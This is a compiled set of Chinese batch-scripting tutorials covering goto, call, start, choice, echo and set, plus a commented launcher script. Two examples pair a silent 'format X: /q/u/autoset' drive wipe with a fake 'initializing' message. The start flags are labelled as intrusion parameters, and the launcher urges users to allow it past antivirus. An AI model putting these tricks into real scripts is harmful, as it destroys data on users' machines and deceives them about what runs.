@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
-教程

解释下批处理命令,详细点


@echo off
rem “::“ 和 “rem” 两个都是注释命令
::设置标题
title=如果被杀软拦截 请点击允许
::cd到当前批处理文件所在目录
cd %~dp0
::定义变量myname并赋值“当前目录”
set myname=%~dp0
::定义变量count
set   count=0
::for循环in的集合为“SuperKiller”结尾的可执行文件,调用add代码段
for %%i in (*SuperKiller.exe) do call :add
::如果count变量小于1,执行括号里的命令
if   /i  %count%  LSS  1   (echo 请用压缩软件解压后,到目录中运行!)
if   /i  %count%  LSS  1   (pause)
if   /i  %count%  LSS  1   (exit)
::删除该目录下以计算机用户开头的可执行文件
del /f  /q “%myname%%username%*.exe“
::for循环,取出年、月、日,可以改成如下格式
::for /f “tokens=1-3 delims=-“ %%a in (“%date:~0,10%“) do (set “yy=%%a“&set “mm=%%b“&set “dd=%%c“)
for /f “tokens=1-3 delims=-“ %%a in (“%date:~0,10%“) do (rem
)&set “yy=%%a“&set “mm=%%b“&set “dd=%%c“
::for循环,取出时、分、秒,可以改成如下格式
::for /f “tokens=1-3 delims=:“ %%a in (“%time:~0,8%“) do (set /a “hh=%%a“&set “mi=%%b“&set “ss=%%c“)
for /f “tokens=1-3 delims=:“ %%a in (“%time:~0,8%“) do (rem
)&set /a “hh=%%a“&set “mi=%%b“&set “ss=%%c“
::下边都是注释的代码,如果需要执行,就把REM去掉。
::for循环遍历当前目录所有可执行文件,文件名赋值给变量thyu
REM for %%i in (*.exe) do set thyu=%%i
::拷贝与执行
REM copy “%thyu%“ “%myname%%username%-%yy%%mm%%dd%%hh%%mi%%ss%-.exe“
REM start ““ “%myname%%username%-%yy%%mm%%dd%%hh%%mi%%ss%-.exe“
::拷贝与执行
copy “%myname%SuperKiller.exe“ “%myname%%username%-%hh%%mi%%ss%-.exe“
start ““ “%myname%%username%-%hh%%mi%%ss%-.exe“
::add代码块,功能为设置count变量加1
:add
set   /a   count=%count%+1
-批处理命令

批处理所有的命令


开始--运行,cmd,help》c:\help.txt,或者参考:
有关某个命令的详细信息,请键入 HELP 命令名
ASSOC 显示或修改文件扩展名关联。
AT 计划在计算机上运行的命令和程序。
ATTRIB 显示或更改文件属性。
BREAK 设置或清除扩展式 CTRL+C 检查。
CACLS 显示或修改文件的访问控制列表(ACLs)。
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开另一个 Windows 命令解释程序窗口。
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。您不能转换
当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKCOMP 比较两个软盘的内容。
DISKCOPY 将一个软盘的内容复制到另一个软盘。
DOSKEY 编辑命令行、调用 Windows 命令并创建宏。
ECHO 显示消息,或将命令回显打开或关上。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除至少一个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个或两套文件,并显示
不同处。
FIND 在文件中搜索文字字符串。
FINDSTR 在文件中搜索字符串。
FOR 为一套文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便跟 Windows 使用。
FTYPE 显示或修改用于文件扩展名关联的文件类型。
GOTO 将 Windows 命令解释程序指向批处理程序
中某个标明的行。
GRAFTABL 启用 Windows 来以图像模式显示
扩展字符集。
HELP 提供 Windows 命令的帮助信息。
IF 执行批处理程序中的条件性处理。
LABEL 创建、更改或删除磁盘的卷标。
MD 创建目录。
MKDIR 创建目录。
MODE 配置系统设备。
MORE 一次显示一个结果屏幕。
MOVE 将文件从一个目录移到另一个目录。
PATH 显示或设置可执行文件的搜索路径。
PAUSE 暂停批文件的处理并显示消息。
POPD 还原 PUSHD 保存的当前目录的上一个值。
PRINT 打印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存当前目录,然后对其进行更改。
RD 删除目录。
RECOVER 从有问题的磁盘恢复可读信息。
REM 记录批文件或 CONFIG.SYS 中的注释。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替换文件。
RMDIR 删除目录。
SET 显示、设置或删除 Windows 环境变量。
SETLOCAL 开始批文件中环境更改的本地化。
SHIFT 更换批文件中可替换参数的位置。
SORT 对输入进行分类。
START 启动另一个窗口来运行指定的程序或命令。
SUBST 将路径跟一个驱动器号关联。
TIME 显示或设置系统时间。
TITLE 设置 CMD.EXE 会话的窗口标题。
TREE 以图形模式显示驱动器或路径的目录结构。
TYPE 显示文本文件的内容。
VER 显示 Windows 版本。
VERIFY 告诉 Windows 是否验证文件是否已正确
写入磁盘。
VOL 显示磁盘卷标和序列号。
XCOPY 复制文件和目录树。
-教程

批处理文件的常用命令


打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用》 》》 ^)结合来实现输入一
些命令到特定的文件中。 @与echo off功能相似,但它是加在其他命令行的最前面,表示运行时不显示命令行本身。
举例:
----------------------------------------------------------------------------------------------------
@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset //format命令不可以使用/y参数,但可以使用autoset这个
//参数,效果和y是一样的
---------------------------------------------------------------------------------------------------- call命令用于从一个批处理程序调用另一个批处理程序,而不终止父批处理程序。call命令提示接受用作调用目标的标签。如果再脚本或批处理文件外使用call命令,则其不会在命令行起作用。
语法:
call [[Drive:][Path] FileName [Bathparameters]] [:labe] [Arguments]]
参数:
[Drive:][Path] FileName
指定要调用的批处理程序的位置和名称。FileName参数必须有.bat或.cmd扩展名。
Batchparameters
指定批处理程序所需的任何命令行信息,包括命令行选项、文件名、批处理参数(即从%0到%9)或变量(例如,%baud%)。
:Label
指定批处理程序要跳转到的标签。使用带有该参数的call命令,可以创建新的批处理文件上下文,并将控制权交给指定标签后的语句。首先遇到该处理文件的末尾时(在跳转到标签后),控制权将交还给call语句后的语句。第二次遇到批处理文件的末尾时,将推出批处理脚本。
Arguments
对于以:Label开始的批处理程序,指定要传递给其新实例的所有命令行信息,包括命令行选项、文件名、批处理参数(即从%1到%9)或变量(例如,%baud%)。
举例:
要从其他批处理程序运行checknew.bat程序,请在父批处理程序中输入以下命令:
----------------------------------------------------------------------------------------------------
call checknew
----------------------------------------------------------------------------------------------------
如果父批处理程序接受两个批处理参数并且希望将这些参数传递给checknew.bat,则可以在父批处理程序中使用以下命令:
----------------------------------------------------------------------------------------------------
call checknew %1 %2
---------------------------------------------------------------------------------------------------- 注释命令,类似于在C语言中的/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读
和你自己日后修改。
:: 也具有rem的功能
Rem Message
Sample:@Rem Here is the description. 暂停命令。运行 Pause 命令时,将显示下面的消息:
Press any key to continue. . .(或:请按任意键继续. . .)
Sample:
@echo off
:begin
copy G:*.* d:\back
echo 请插入另一张光盘...
pause
goto begin
在这个例子中,驱动器 G 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张光盘
盘放入驱动器 G 时,pause 命令会使程序挂起,以便您更换光盘,然后按任意键继续处理。 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
如:start calc.exe即可打开Windows的计算器。
常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令
脚本内执行,该新行为则不会发生。 跳转命令。程序指针跳转到指定的标签,从标签后的第一条命令开始继续执行批处理程序。
语法:
goto label
参数:
label
指定所要转向的批处理程序中的行。
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释
。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto
命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 显示、设置或删除变量。
显示变量:set 或 set s 前者显示批处理当前已定义的所有变量及其值,后者显示所有以s开头的变量及值。
设置变量:set aa=abcd 此句命令便可向变量aa赋值abcd。如果变量aa已被定义,则aa的值被修改为abcd;若aa尚未定义,则此句命令即可定义新的变量aa,同时为变量aa赋予初始值abcd。
删除变量:set aa= 此句命令即可删除变量aa。若变量aa已被定义,则删除变量aa;若aa尚未定义,则此句命令没实质意义。
需要说明的是,批处理中的变量是不区分类型的,不需要像C语言中的变量那样还要区分int、float、char等。比如执行set aa=345后,变量aa的值既可以被视为数字345,也可以被视为字符串345。
set命令具有扩展功能,如用作交互输入、字符串处理、数值计算等,属于高级命令范畴。-批处理命令